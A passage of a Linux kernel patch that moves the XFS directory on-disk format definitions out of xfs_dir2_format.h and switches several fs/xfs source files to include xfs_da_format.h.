feature bits. Valid values - * are as follows: - */ -#define XFS_DIR3_FT_UNKNOWN 0 -#define XFS_DIR3_FT_REG_FILE 1 -#define XFS_DIR3_FT_DIR 2 -#define XFS_DIR3_FT_CHRDEV 3 -#define XFS_DIR3_FT_BLKDEV 4 -#define XFS_DIR3_FT_FIFO 5 -#define XFS_DIR3_FT_SOCK 6 -#define XFS_DIR3_FT_SYMLINK 7 -#define XFS_DIR3_FT_WHT 8 - -#define XFS_DIR3_FT_MAX 9 - -/* - * Byte offset in data block and shortform entry. - */ -typedef __uint16_t xfs_dir2_data_off_t; -#define NULLDATAOFF 0xffffU -typedef uint xfs_dir2_data_aoff_t; /* argument form */ - -/* - * Normalized offset (in a data block) of the entry, really xfs_dir2_data_off_t. - * Only need 16 bits, this is the byte offset into the single block form. - */ -typedef struct { __uint8_t i[2]; } __arch_pack xfs_dir2_sf_off_t; - -/* - * Offset in data space of a data entry. - */ -typedef __uint32_t xfs_dir2_dataptr_t; -#define XFS_DIR2_MAX_DATAPTR ((xfs_dir2_dataptr_t)0xffffffff) -#define XFS_DIR2_NULL_DATAPTR ((xfs_dir2_dataptr_t)0) - -/* - * Byte offset in a directory. - */ -typedef xfs_off_t xfs_dir2_off_t; - -/* - * Directory block number (logical dirblk in file) - */ -typedef __uint32_t xfs_dir2_db_t; - -/* - * Inode number stored as 8 8-bit values. - */ -typedef struct { __uint8_t i[8]; } xfs_dir2_ino8_t; - -/* - * Inode number stored as 4 8-bit values. - * Works a lot of the time, when all the inode numbers in a directory - * fit in 32 bits. - */ -typedef struct { __uint8_t i[4]; } xfs_dir2_ino4_t; - -typedef union { - xfs_dir2_ino8_t i8; - xfs_dir2_ino4_t i4; -} xfs_dir2_inou_t; -#define XFS_DIR2_MAX_SHORT_INUM ((xfs_ino_t)0xffffffffULL) - -/* - * Directory layout when stored internal to an inode. - * - * Small directories are packed as tightly as possible so as to fit into the - * literal area of the inode. These "shortform" directories consist of a - * single xfs_dir2_sf_hdr header followed by zero or more xfs_dir2_sf_entry - * structures. Due the different inode number storage size and the variable - * length name field in the xfs_dir2_sf_entry all these structure are - * variable length, and the accessors in this file should be used to iterate - * over them. - */ -typedef struct xfs_dir2_sf_hdr { - __uint8_t count; /* count of entries */ - __uint8_t i8count; /* count of 8-byte inode #s */ - xfs_dir2_inou_t parent; /* parent dir inode number */ -} __arch_pack xfs_dir2_sf_hdr_t; - -typedef struct xfs_dir2_sf_entry { - __u8 namelen; /* actual name length */ - xfs_dir2_sf_off_t offset; /* saved offset */ - __u8 name[]; /* name, variable size */ - /* - * A single byte containing the file type field follows the inode - * number for version 3 directory entries. - * - * A xfs_dir2_ino8_t or xfs_dir2_ino4_t follows here, at a - * variable offset after the name. - */ -} __arch_pack xfs_dir2_sf_entry_t; - -static inline int xfs_dir2_sf_hdr_size(int i8count) -{ - return sizeof(struct xfs_dir2_sf_hdr) - - (i8count == 0) * - (sizeof(xfs_dir2_ino8_t) - sizeof(xfs_dir2_ino4_t)); -} - -static inline xfs_dir2_data_aoff_t -xfs_dir2_sf_get_offset(xfs_dir2_sf_entry_t *sfep) -{ - return get_unaligned_be16(&sfep->offset.i); -} - -static inline void -xfs_dir2_sf_put_offset(xfs_dir2_sf_entry_t *sfep, xfs_dir2_data_aoff_t off) -{ - put_unaligned_be16(off, &sfep->offset.i); -} - -static inline struct xfs_dir2_sf_entry * -xfs_dir2_sf_firstentry(struct xfs_dir2_sf_hdr *hdr) -{ - return (struct xfs_dir2_sf_entry *) - ((char *)hdr + xfs_dir2_sf_hdr_size(hdr->i8count)); -} - -static inline int -xfs_dir3_sf_entsize( - struct xfs_mount *mp, - struct xfs_dir2_sf_hdr *hdr, - int len) -{ - int count = sizeof(struct xfs_dir2_sf_entry); /* namelen + offset */ - - count += len; /* name */ - count += hdr->i8count ? sizeof(xfs_dir2_ino8_t) : - sizeof(xfs_dir2_ino4_t); /* ino # */ - if (xfs_sb_version_hasftype(&mp->m_sb)) - count += sizeof(__uint8_t); /* file type */ - return count; -} - -static inline struct xfs_dir2_sf_entry * -xfs_dir3_sf_nextentry( - struct xfs_mount *mp, - struct xfs_dir2_sf_hdr *hdr, - struct xfs_dir2_sf_entry *sfep) -{ - return (struct xfs_dir2_sf_entry *) - ((char *)sfep + xfs_dir3_sf_entsize(mp, hdr, sfep->namelen)); -} - -/* - * in dir3 shortform directories, the file type field is stored at a variable - * offset after the inode number. Because it's only a single byte, endian - * conversion is not necessary. - */ -static inline __uint8_t * -xfs_dir3_sfe_ftypep( - struct xfs_dir2_sf_hdr *hdr, - struct xfs_dir2_sf_entry *sfep) -{ - return (__uint8_t *)&sfep->name[sfep->namelen]; -} - -static inline __uint8_t -xfs_dir3_sfe_get_ftype( - struct xfs_mount *mp, - struct xfs_dir2_sf_hdr *hdr, - struct xfs_dir2_sf_entry *sfep) -{ - __uint8_t *ftp; - - if (!xfs_sb_version_hasftype(&mp->m_sb)) - return XFS_DIR3_FT_UNKNOWN; - - ftp = xfs_dir3_sfe_ftypep(hdr, sfep); - if (*ftp >= XFS_DIR3_FT_MAX) - return XFS_DIR3_FT_UNKNOWN; - return *ftp; -} - -static inline void -xfs_dir3_sfe_put_ftype( - struct xfs_mount *mp, - struct xfs_dir2_sf_hdr *hdr, - struct xfs_dir2_sf_entry *sfep, - __uint8_t ftype) -{ - __uint8_t *ftp; - - ASSERT(ftype < XFS_DIR3_FT_MAX); - - if (!xfs_sb_version_hasftype(&mp->m_sb)) - return; - ftp = xfs_dir3_sfe_ftypep(hdr, sfep); - *ftp = ftype; -} - -/* - * Data block structures. - * - * A pure data block looks like the following drawing on disk: - * - * +-------------------------------------------------+ - * | xfs_dir2_data_hdr_t | - * +-------------------------------------------------+ - * | xfs_dir2_data_entry_t OR xfs_dir2_data_unused_t | - * | xfs_dir2_data_entry_t OR xfs_dir2_data_unused_t | - * | xfs_dir2_data_entry_t OR xfs_dir2_data_unused_t | - * | ... | - * +-------------------------------------------------+ - * | unused space | - * +-------------------------------------------------+ - * - * As all the entries are variable size structures the accessors below should - * be used to iterate over them. - * - * In addition to the pure data blocks for the data and node formats, - * most structures are also used for the combined data/freespace "block" - * format below. - */ - -#define XFS_DIR2_DATA_ALIGN_LOG 3 /* i.e., 8 bytes */ -#define XFS_DIR2_DATA_ALIGN (1 << XFS_DIR2_DATA_ALIGN_LOG) -#define XFS_DIR2_DATA_FREE_TAG 0xffff -#define XFS_DIR2_DATA_FD_COUNT 3 - -/* - * Directory address space divided into sections, - * spaces separated by 32GB. - */ -#define XFS_DIR2_SPACE_SIZE (1ULL << (32 + XFS_DIR2_DATA_ALIGN_LOG)) -#define XFS_DIR2_DATA_SPACE 0 -#define XFS_DIR2_DATA_OFFSET (XFS_DIR2_DATA_SPACE * XFS_DIR2_SPACE_SIZE) -#define XFS_DIR2_DATA_FIRSTDB(mp) \ - xfs_dir2_byte_to_db(mp, XFS_DIR2_DATA_OFFSET) - -/* - * Describe a free area in the data block. - * - * The freespace will be formatted as a xfs_dir2_data_unused_t. - */ -typedef struct xfs_dir2_data_free { - __be16 offset; /* start of freespace */ - __be16 length; /* length of freespace */ -} xfs_dir2_data_free_t; - -/* - * Header for the data blocks. - * - * The code knows that XFS_DIR2_DATA_FD_COUNT is 3. - */ -typedef struct xfs_dir2_data_hdr { - __be32 magic; /* XFS_DIR2_DATA_MAGIC or */ - /* XFS_DIR2_BLOCK_MAGIC */ - xfs_dir2_data_free_t bestfree[XFS_DIR2_DATA_FD_COUNT]; -} xfs_dir2_data_hdr_t; - -/* - * define a structure for all the verification fields we are adding to the - * directory block structures. This will be used in several structures. - * The magic number must be the first entry to align with all the dir2 - * structures so we determine how to decode them just by the magic number. - */ -struct xfs_dir3_blk_hdr { - __be32 magic; /* magic number */ - __be32 crc; /* CRC of block */ - __be64 blkno; /* first block of the buffer */ - __be64 lsn; /* sequence number of last write */ - uuid_t uuid; /* filesystem we belong to */ - __be64 owner; /* inode that owns the block */ -}; - -struct xfs_dir3_data_hdr { - struct xfs_dir3_blk_hdr hdr; - xfs_dir2_data_free_t best_free[XFS_DIR2_DATA_FD_COUNT]; - __be32 pad; /* 64 bit alignment */ -}; - -#define XFS_DIR3_DATA_CRC_OFF offsetof(struct xfs_dir3_data_hdr, hdr.crc) - -static inline struct xfs_dir2_data_free * -xfs_dir3_data_bestfree_p(struct xfs_dir2_data_hdr *hdr) -{ - if (hdr->magic == cpu_to_be32(XFS_DIR3_DATA_MAGIC) || - hdr->magic == cpu_to_be32(XFS_DIR3_BLOCK_MAGIC)) { - struct xfs_dir3_data_hdr *hdr3 = (struct xfs_dir3_data_hdr *)hdr; - return hdr3->best_free; - } - return hdr->bestfree; -} - -/* - * Active entry in a data block. - * - * Aligned to 8 bytes. After the variable length name field there is a - * 2 byte tag field, which can be accessed using xfs_dir3_data_entry_tag_p. - * - * For dir3 structures, there is file type field between the name and the tag. - * This can only be manipulated by helper functions. It is packed hard against - * the end of the name so any padding for rounding is between the file type and - * the tag. - */ -typedef struct xfs_dir2_data_entry { - __be64 inumber; /* inode number */ - __u8 namelen; /* name length */ - __u8 name[]; /* name bytes, no null */ - /* __u8 filetype; */ /* type of inode we point to */ - /* __be16 tag; */ /* starting offset of us */ -} xfs_dir2_data_entry_t; - -/* - * Unused entry in a data block. - * - * Aligned to 8 bytes. Tag appears as the last 2 bytes and must be accessed - * using xfs_dir2_data_unused_tag_p. - */ -typedef struct xfs_dir2_data_unused { - __be16 freetag; /* XFS_DIR2_DATA_FREE_TAG */ - __be16 length; /* total free length */ - /* variable offset */ - __be16 tag; /* starting offset of us */ -} xfs_dir2_data_unused_t; - -/* - * Size of a data entry. - */ -static inline int -__xfs_dir3_data_entsize( - bool ftype, - int n) -{ - int size = offsetof(struct xfs_dir2_data_entry, name[0]); - - size += n; - size += sizeof(xfs_dir2_data_off_t); - if (ftype) - size += sizeof(__uint8_t); - return roundup(size, XFS_DIR2_DATA_ALIGN); -} -static inline int -xfs_dir3_data_entsize( - struct xfs_mount *mp, - int n) -{ - bool ftype = xfs_sb_version_hasftype(&mp->m_sb) ? true : false; - return __xfs_dir3_data_entsize(ftype, n); -} - -static inline __uint8_t -xfs_dir3_dirent_get_ftype( - struct xfs_mount *mp, - struct xfs_dir2_data_entry *dep) -{ - if (xfs_sb_version_hasftype(&mp->m_sb)) { - __uint8_t type = dep->name[dep->namelen]; - - ASSERT(type < XFS_DIR3_FT_MAX); - if (type < XFS_DIR3_FT_MAX) - return type; - - } - return XFS_DIR3_FT_UNKNOWN; -} - -static inline void -xfs_dir3_dirent_put_ftype( - struct xfs_mount *mp, - struct xfs_dir2_data_entry *dep, - __uint8_t type) -{ - ASSERT(type < XFS_DIR3_FT_MAX); - ASSERT(dep->namelen != 0); - - if (xfs_sb_version_hasftype(&mp->m_sb)) - dep->name[dep->namelen] = type; -} - -/* - * Pointer to an entry's tag word. - */ -static inline __be16 * -xfs_dir3_data_entry_tag_p( - struct xfs_mount *mp, - struct xfs_dir2_data_entry *dep) -{ - return (__be16 *)((char *)dep + - xfs_dir3_data_entsize(mp, dep->namelen) - sizeof(__be16)); -} - -/* - * Pointer to a freespace's tag word. - */ -static inline __be16 * -xfs_dir2_data_unused_tag_p(struct xfs_dir2_data_unused *dup) -{ - return (__be16 *)((char *)dup + - be16_to_cpu(dup->length) - sizeof(__be16)); -} - -static inline size_t -xfs_dir3_data_hdr_size(bool dir3) -{ - if (dir3) - return sizeof(struct xfs_dir3_data_hdr); - return sizeof(struct xfs_dir2_data_hdr); -} - -static inline size_t -xfs_dir3_data_entry_offset(struct xfs_dir2_data_hdr *hdr) -{ - bool dir3 = hdr->magic == cpu_to_be32(XFS_DIR3_DATA_MAGIC) || - hdr->magic == cpu_to_be32(XFS_DIR3_BLOCK_MAGIC); - return xfs_dir3_data_hdr_size(dir3); -} - -static inline struct xfs_dir2_data_entry * -xfs_dir3_data_entry_p(struct xfs_dir2_data_hdr *hdr) -{ - return (struct xfs_dir2_data_entry *) - ((char *)hdr + xfs_dir3_data_entry_offset(hdr)); -} - -static inline struct xfs_dir2_data_unused * -xfs_dir3_data_unused_p(struct xfs_dir2_data_hdr *hdr) -{ - return (struct xfs_dir2_data_unused *) - ((char *)hdr + xfs_dir3_data_entry_offset(hdr)); -} - -/* - * Offsets of . and .. in data space (always block 0) - * - * XXX: there is scope for significant optimisation of the logic here. Right - * now we are checking for "dir3 format" over and over again. Ideally we should - * only do it once for each operation. - */ -static inline xfs_dir2_data_aoff_t -xfs_dir3_data_dot_offset(struct xfs_mount *mp) -{ - return xfs_dir3_data_hdr_size(xfs_sb_version_hascrc(&mp->m_sb)); -} - -static inline xfs_dir2_data_aoff_t -xfs_dir3_data_dotdot_offset(struct xfs_mount *mp) -{ - return xfs_dir3_data_dot_offset(mp) + - xfs_dir3_data_entsize(mp, 1); -} - -static inline xfs_dir2_data_aoff_t -xfs_dir3_data_first_offset(struct xfs_mount *mp) -{ - return xfs_dir3_data_dotdot_offset(mp) + - xfs_dir3_data_entsize(mp, 2); -} - -/* - * location of . and .. in data space (always block 0) - */ -static inline struct xfs_dir2_data_entry * -xfs_dir3_data_dot_entry_p( - struct xfs_mount *mp, - struct xfs_dir2_data_hdr *hdr) -{ - return (struct xfs_dir2_data_entry *) - ((char *)hdr + xfs_dir3_data_dot_offset(mp)); -} - -static inline struct xfs_dir2_data_entry * -xfs_dir3_data_dotdot_entry_p( - struct xfs_mount *mp, - struct xfs_dir2_data_hdr *hdr) -{ - return (struct xfs_dir2_data_entry *) - ((char *)hdr + xfs_dir3_data_dotdot_offset(mp)); -} - -static inline struct xfs_dir2_data_entry * -xfs_dir3_data_first_entry_p( - struct xfs_mount *mp, - struct xfs_dir2_data_hdr *hdr) -{ - return (struct xfs_dir2_data_entry *) - ((char *)hdr + xfs_dir3_data_first_offset(mp)); -} - -/* - * Leaf block structures. - * - * A pure leaf block looks like the following drawing on disk: - * - * +---------------------------+ - * | xfs_dir2_leaf_hdr_t | - * +---------------------------+ - * | xfs_dir2_leaf_entry_t | - * | xfs_dir2_leaf_entry_t | - * | xfs_dir2_leaf_entry_t | - * | xfs_dir2_leaf_entry_t | - * | ... | - * +---------------------------+ - * | xfs_dir2_data_off_t | - * | xfs_dir2_data_off_t | - * | xfs_dir2_data_off_t | - * | ... | - * +---------------------------+ - * | xfs_dir2_leaf_tail_t | - * +---------------------------+ - * - * The xfs_dir2_data_off_t members (bests) and tail are at the end of the block - * for single-leaf (magic = XFS_DIR2_LEAF1_MAGIC) blocks only, but not present - * for directories with separate leaf nodes and free space blocks - * (magic = XFS_DIR2_LEAFN_MAGIC). - * - * As all the entries are variable size structures the accessors below should - * be used to iterate over them. - */ - -/* - * Offset of the leaf/node space. First block in this space - * is the btree root. - */ -#define XFS_DIR2_LEAF_SPACE 1 -#define XFS_DIR2_LEAF_OFFSET (XFS_DIR2_LEAF_SPACE * XFS_DIR2_SPACE_SIZE) -#define XFS_DIR2_LEAF_FIRSTDB(mp) \ - xfs_dir2_byte_to_db(mp, XFS_DIR2_LEAF_OFFSET) - -/* - * Leaf block header. - */ -typedef struct xfs_dir2_leaf_hdr { - xfs_da_blkinfo_t info; /* header for da routines */ - __be16 count; /* count of entries */ - __be16 stale; /* count of stale entries */ -} xfs_dir2_leaf_hdr_t; - -struct xfs_dir3_leaf_hdr { - struct xfs_da3_blkinfo info; /* header for da routines */ - __be16 count; /* count of entries */ - __be16 stale; /* count of stale entries */ - __be32 pad; /* 64 bit alignment */ -}; - -struct xfs_dir3_icleaf_hdr { - __uint32_t forw; - __uint32_t back; - __uint16_t magic; - __uint16_t count; - __uint16_t stale; -}; - -/* - * Leaf block entry. - */ -typedef struct xfs_dir2_leaf_entry { - __be32 hashval; /* hash value of name */ - __be32 address; /* address of data entry */ -} xfs_dir2_leaf_entry_t; - -/* - * Leaf block tail. - */ -typedef struct xfs_dir2_leaf_tail { - __be32 bestcount; -} xfs_dir2_leaf_tail_t; - -/* - * Leaf block. - */ -typedef struct xfs_dir2_leaf { - xfs_dir2_leaf_hdr_t hdr; /* leaf header */ - xfs_dir2_leaf_entry_t __ents[]; /* entries */ -} xfs_dir2_leaf_t; - -struct xfs_dir3_leaf { - struct xfs_dir3_leaf_hdr hdr; /* leaf header */ - struct xfs_dir2_leaf_entry __ents[]; /* entries */ -}; - -#define XFS_DIR3_LEAF_CRC_OFF offsetof(struct xfs_dir3_leaf_hdr, info.crc) - -extern void xfs_dir3_leaf_hdr_from_disk(struct xfs_dir3_icleaf_hdr *to, - struct xfs_dir2_leaf *from); - -static inline int -xfs_dir3_leaf_hdr_size(struct xfs_dir2_leaf *lp) -{ - if (lp->hdr.info.magic == cpu_to_be16(XFS_DIR3_LEAF1_MAGIC) || - lp->hdr.info.magic == cpu_to_be16(XFS_DIR3_LEAFN_MAGIC)) - return sizeof(struct xfs_dir3_leaf_hdr); - return sizeof(struct xfs_dir2_leaf_hdr); -} - -static inline int -xfs_dir3_max_leaf_ents(struct xfs_mount *mp, struct xfs_dir2_leaf *lp) -{ - return (mp->m_dirblksize - xfs_dir3_leaf_hdr_size(lp)) / - (uint)sizeof(struct xfs_dir2_leaf_entry); -} - -/* - * Get address of the bestcount field in the single-leaf block. - */ -static inline struct xfs_dir2_leaf_entry * -xfs_dir3_leaf_ents_p(struct xfs_dir2_leaf *lp) -{ - if (lp->hdr.info.magic == cpu_to_be16(XFS_DIR3_LEAF1_MAGIC) || - lp->hdr.info.magic == cpu_to_be16(XFS_DIR3_LEAFN_MAGIC)) { - struct xfs_dir3_leaf *lp3 = (struct xfs_dir3_leaf *)lp; - return lp3->__ents; - } - return lp->__ents; -} - -/* - * Get address of the bestcount field in the single-leaf block. - */ -static inline struct xfs_dir2_leaf_tail * -xfs_dir2_leaf_tail_p(struct xfs_mount *mp, struct xfs_dir2_leaf *lp) -{ - return (struct xfs_dir2_leaf_tail *) - ((char *)lp + mp->m_dirblksize - - sizeof(struct xfs_dir2_leaf_tail)); -} - -/* - * Get address of the bests array in the single-leaf block. - */ -static inline __be16 * -xfs_dir2_leaf_bests_p(struct xfs_dir2_leaf_tail *ltp) -{ - return (__be16 *)ltp - be32_to_cpu(ltp->bestcount); -} - -/* - * DB blocks here are logical directory block numbers, not filesystem blocks. - */ - -/* - * Convert dataptr to byte in file space - */ -static inline xfs_dir2_off_t -xfs_dir2_dataptr_to_byte(struct xfs_mount *mp, xfs_dir2_dataptr_t dp) -{ - return (xfs_dir2_off_t)dp << XFS_DIR2_DATA_ALIGN_LOG; -} - -/* - * Convert byte in file space to dataptr. It had better be aligned. - */ -static inline xfs_dir2_dataptr_t -xfs_dir2_byte_to_dataptr(struct xfs_mount *mp, xfs_dir2_off_t by) -{ - return (xfs_dir2_dataptr_t)(by >> XFS_DIR2_DATA_ALIGN_LOG); -} - -/* - * Convert byte in space to (DB) block - */ -static inline xfs_dir2_db_t -xfs_dir2_byte_to_db(struct xfs_mount *mp, xfs_dir2_off_t by) -{ - return (xfs_dir2_db_t) - (by >> (mp->m_sb.sb_blocklog + mp->m_sb.sb_dirblklog)); -} - -/* - * Convert dataptr to a block number - */ -static inline xfs_dir2_db_t -xfs_dir2_dataptr_to_db(struct xfs_mount *mp, xfs_dir2_dataptr_t dp) -{ - return xfs_dir2_byte_to_db(mp, xfs_dir2_dataptr_to_byte(mp, dp)); -} - -/* - * Convert byte in space to offset in a block - */ -static inline xfs_dir2_data_aoff_t -xfs_dir2_byte_to_off(struct xfs_mount *mp, xfs_dir2_off_t by) -{ - return (xfs_dir2_data_aoff_t)(by & - ((1 << (mp->m_sb.sb_blocklog + mp->m_sb.sb_dirblklog)) - 1)); -} - -/* - * Convert dataptr to a byte offset in a block - */ -static inline xfs_dir2_data_aoff_t -xfs_dir2_dataptr_to_off(struct xfs_mount *mp, xfs_dir2_dataptr_t dp) -{ - return xfs_dir2_byte_to_off(mp, xfs_dir2_dataptr_to_byte(mp, dp)); -} - -/* - * Convert block and offset to byte in space - */ -static inline xfs_dir2_off_t -xfs_dir2_db_off_to_byte(struct xfs_mount *mp, xfs_dir2_db_t db, - xfs_dir2_data_aoff_t o) -{ - return ((xfs_dir2_off_t)db << - (mp->m_sb.sb_blocklog + mp->m_sb.sb_dirblklog)) + o; -} - -/* - * Convert block (DB) to block (dablk) - */ -static inline xfs_dablk_t -xfs_dir2_db_to_da(struct xfs_mount *mp, xfs_dir2_db_t db) -{ - return (xfs_dablk_t)(db << mp->m_sb.sb_dirblklog); -} - -/* - * Convert byte in space to (DA) block - */ -static inline xfs_dablk_t -xfs_dir2_byte_to_da(struct xfs_mount *mp, xfs_dir2_off_t by) -{ - return xfs_dir2_db_to_da(mp, xfs_dir2_byte_to_db(mp, by)); -} - -/* - * Convert block and offset to dataptr - */ -static inline xfs_dir2_dataptr_t -xfs_dir2_db_off_to_dataptr(struct xfs_mount *mp, xfs_dir2_db_t db, - xfs_dir2_data_aoff_t o) -{ - return xfs_dir2_byte_to_dataptr(mp, xfs_dir2_db_off_to_byte(mp, db, o)); -} - -/* - * Convert block (dablk) to block (DB) - */ -static inline xfs_dir2_db_t -xfs_dir2_da_to_db(struct xfs_mount *mp, xfs_dablk_t da) -{ - return (xfs_dir2_db_t)(da >> mp->m_sb.sb_dirblklog); -} - -/* - * Convert block (dablk) to byte offset in space - */ -static inline xfs_dir2_off_t -xfs_dir2_da_to_byte(struct xfs_mount *mp, xfs_dablk_t da) -{ - return xfs_dir2_db_off_to_byte(mp, xfs_dir2_da_to_db(mp, da), 0); -} - -/* - * Free space block defintions for the node format. - */ - -/* - * Offset of the freespace index. - */ -#define XFS_DIR2_FREE_SPACE 2 -#define XFS_DIR2_FREE_OFFSET (XFS_DIR2_FREE_SPACE * XFS_DIR2_SPACE_SIZE) -#define XFS_DIR2_FREE_FIRSTDB(mp) \ - xfs_dir2_byte_to_db(mp, XFS_DIR2_FREE_OFFSET) - -typedef struct xfs_dir2_free_hdr { - __be32 magic; /* XFS_DIR2_FREE_MAGIC */ - __be32 firstdb; /* db of first entry */ - __be32 nvalid; /* count of valid entries */ - __be32 nused; /* count of used entries */ -} xfs_dir2_free_hdr_t; - -typedef struct xfs_dir2_free { - xfs_dir2_free_hdr_t hdr; /* block header */ - __be16 bests[]; /* best free counts */ - /* unused entries are -1 */ -} xfs_dir2_free_t; - -struct xfs_dir3_free_hdr { - struct xfs_dir3_blk_hdr hdr; - __be32 firstdb; /* db of first entry */ - __be32 nvalid; /* count of valid entries */ - __be32 nused; /* count of used entries */ - __be32 pad; /* 64 bit alignment */ -}; - -struct xfs_dir3_free { - struct xfs_dir3_free_hdr hdr; - __be16 bests[]; /* best free counts */ - /* unused entries are -1 */ -}; - -#define XFS_DIR3_FREE_CRC_OFF offsetof(struct xfs_dir3_free, hdr.hdr.crc) - -/* - * In core version of the free block header, abstracted away from on-disk format - * differences. Use this in the code, and convert to/from the disk version using - * xfs_dir3_free_hdr_from_disk/xfs_dir3_free_hdr_to_disk. - */ -struct xfs_dir3_icfree_hdr { - __uint32_t magic; - __uint32_t firstdb; - __uint32_t nvalid; - __uint32_t nused; - -}; - -void xfs_dir3_free_hdr_from_disk(struct xfs_dir3_icfree_hdr *to, - struct xfs_dir2_free *from); - -static inline int -xfs_dir3_free_hdr_size(struct xfs_mount *mp) -{ - if (xfs_sb_version_hascrc(&mp->m_sb)) - return sizeof(struct xfs_dir3_free_hdr); - return sizeof(struct xfs_dir2_free_hdr); -} - -static inline int -xfs_dir3_free_max_bests(struct xfs_mount *mp) -{ - return (mp->m_dirblksize - xfs_dir3_free_hdr_size(mp)) / - sizeof(xfs_dir2_data_off_t); -} - -static inline __be16 * -xfs_dir3_free_bests_p(struct xfs_mount *mp, struct xfs_dir2_free *free) -{ - return (__be16 *)((char *)free + xfs_dir3_free_hdr_size(mp)); -} - -/* - * Convert data space db to the corresponding free db. - */ -static inline xfs_dir2_db_t -xfs_dir2_db_to_fdb(struct xfs_mount *mp, xfs_dir2_db_t db) -{ - return XFS_DIR2_FREE_FIRSTDB(mp) + db / xfs_dir3_free_max_bests(mp); -} - -/* - * Convert data space db to the corresponding index in a free db. - */ -static inline int -xfs_dir2_db_to_fdindex(struct xfs_mount *mp, xfs_dir2_db_t db) -{ - return db % xfs_dir3_free_max_bests(mp); -} - -/* - * Single block format. - * - * The single block format looks like the following drawing on disk: - * - * +-------------------------------------------------+ - * | xfs_dir2_data_hdr_t | - * +-------------------------------------------------+ - * | xfs_dir2_data_entry_t OR xfs_dir2_data_unused_t | - * | xfs_dir2_data_entry_t OR xfs_dir2_data_unused_t | - * | xfs_dir2_data_entry_t OR xfs_dir2_data_unused_t : - * | ... | - * +-------------------------------------------------+ - * | unused space | - * +-------------------------------------------------+ - * | ... | - * | xfs_dir2_leaf_entry_t | - * | xfs_dir2_leaf_entry_t | - * +-------------------------------------------------+ - * | xfs_dir2_block_tail_t | - * +-------------------------------------------------+ - * - * As all the entries are variable size structures the accessors below should - * be used to iterate over them. - */ - -typedef struct xfs_dir2_block_tail { - __be32 count; /* count of leaf entries */ - __be32 stale; /* count of stale lf entries */ -} xfs_dir2_block_tail_t; - -/* - * Pointer to the leaf header embedded in a data block (1-block format) - */ -static inline struct xfs_dir2_block_tail * -xfs_dir2_block_tail_p(struct xfs_mount *mp, struct xfs_dir2_data_hdr *hdr) -{ - return ((struct xfs_dir2_block_tail *) - ((char *)hdr + mp->m_dirblksize)) - 1; -} - -/* - * Pointer to the leaf entries embedded in a data block (1-block format) - */ -static inline struct xfs_dir2_leaf_entry * -xfs_dir2_block_leaf_p(struct xfs_dir2_block_tail *btp) -{ - return ((struct xfs_dir2_leaf_entry *)btp) - be32_to_cpu(btp->count); -} - -#endif /* __XFS_DIR2_FORMAT_H__ */ diff --git a/fs/xfs/xfs_dir2_leaf.c b/fs/xfs/xfs_dir2_leaf.c index 1021c83..d5937da 100644 --- a/fs/xfs/xfs_dir2_leaf.c +++ b/fs/xfs/xfs_dir2_leaf.c @@ -25,12 +25,12 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" +#include "xfs_da_format.h" #include "xfs_da_btree.h" #include "xfs_bmap_btree.h" #include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_bmap.h" -#include "xfs_dir2_format.h" #include "xfs_dir2.h" #include "xfs_dir2_priv.h" #include "xfs_error.h" diff --git a/fs/xfs/xfs_dir2_node.c b/fs/xfs/xfs_dir2_node.c index 4c3dba7..6d12a9a 100644 --- a/fs/xfs/xfs_dir2_node.c +++ b/fs/xfs/xfs_dir2_node.c @@ -24,12 +24,12 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" +#include "xfs_da_format.h" #include "xfs_da_btree.h" #include "xfs_bmap_btree.h" #include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_bmap.h" -#include "xfs_dir2_format.h" #include "xfs_dir2.h" #include "xfs_dir2_priv.h" #include "xfs_error.h" diff --git a/fs/xfs/xfs_dir2_readdir.c b/fs/xfs/xfs_dir2_readdir.c index 8f84153..6b1ffb3 100644 --- a/fs/xfs/xfs_dir2_readdir.c +++ b/fs/xfs/xfs_dir2_readdir.c @@ -25,11 +25,11 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" +#include "xfs_da_format.h" #include "xfs_da_btree.h" #include "xfs_bmap_btree.h" #include "xfs_dinode.h" #include "xfs_inode.h" -#include "xfs_dir2_format.h" #include "xfs_dir2.h" #include "xfs_dir2_priv.h" #include "xfs_error.h" diff --git a/fs/xfs/xfs_dir2_sf.c b/fs/xfs/xfs_dir2_sf.c index 3ef6d40..8d92596 100644 --- a/fs/xfs/xfs_dir2_sf.c +++ b/fs/xfs/xfs_dir2_sf.c @@ -23,13 +23,13 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" +#include "xfs_da_format.h" #include "xfs_da_btree.h" #include "xfs_bmap_btree.h" #include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_inode_item.h" #include "xfs_error.h" -#include "xfs_dir2_format.h" #include "xfs_dir2.h" #include "xfs_dir2_priv.h" #include "xfs_trace.h" diff --git a/fs/xfs/xfs_export.c b/fs/xfs/xfs_export.c index 066df42..96be1d6 100644 --- a/fs/xfs/xfs_export.c +++ b/fs/xfs/xfs_export.c @@ -22,8 +22,7 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" -#include "xfs_da_btree.h" -#include "xfs_dir2_format.h" +#include "xfs_da_format.h" #include "xfs_dir2.h" #include "xfs_export.h" #include "xfs_bmap_btree.h" diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c index 4c749ab..f3ee034 100644 --- a/fs/xfs/xfs_file.c +++ b/fs/xfs/xfs_file.c @@ -22,6 +22,8 @@ #include "xfs_ag.h" #include "xfs_trans.h" #include "xfs_mount.h" +#include "xfs_da_format.h" +#include "xfs_da_btree.h" #include "xfs_bmap_btree.h" #include "xfs_alloc.h" #include "xfs_dinode.h" @@ -30,8 +32,6 @@ #include "xfs_bmap.h" #include "xfs_bmap_util.h" #include "xfs_error.h" -#include "xfs_da_btree.h" -#include "xfs_dir2_format.h" #include "xfs_dir2.h" #include "xfs_dir2_priv.h" #include "xfs_ioctl.h" diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index 38db1578..9d98b6b 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -29,8 +29,8 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" +#include "xfs_da_format.h" #include "xfs_da_btree.h" -#include "xfs_dir2_format.h" #include "xfs_dir2.h" #include "xfs_bmap_btree.h" #include "xfs_alloc_btree.h" diff --git a/fs/xfs/xfs_iops.c 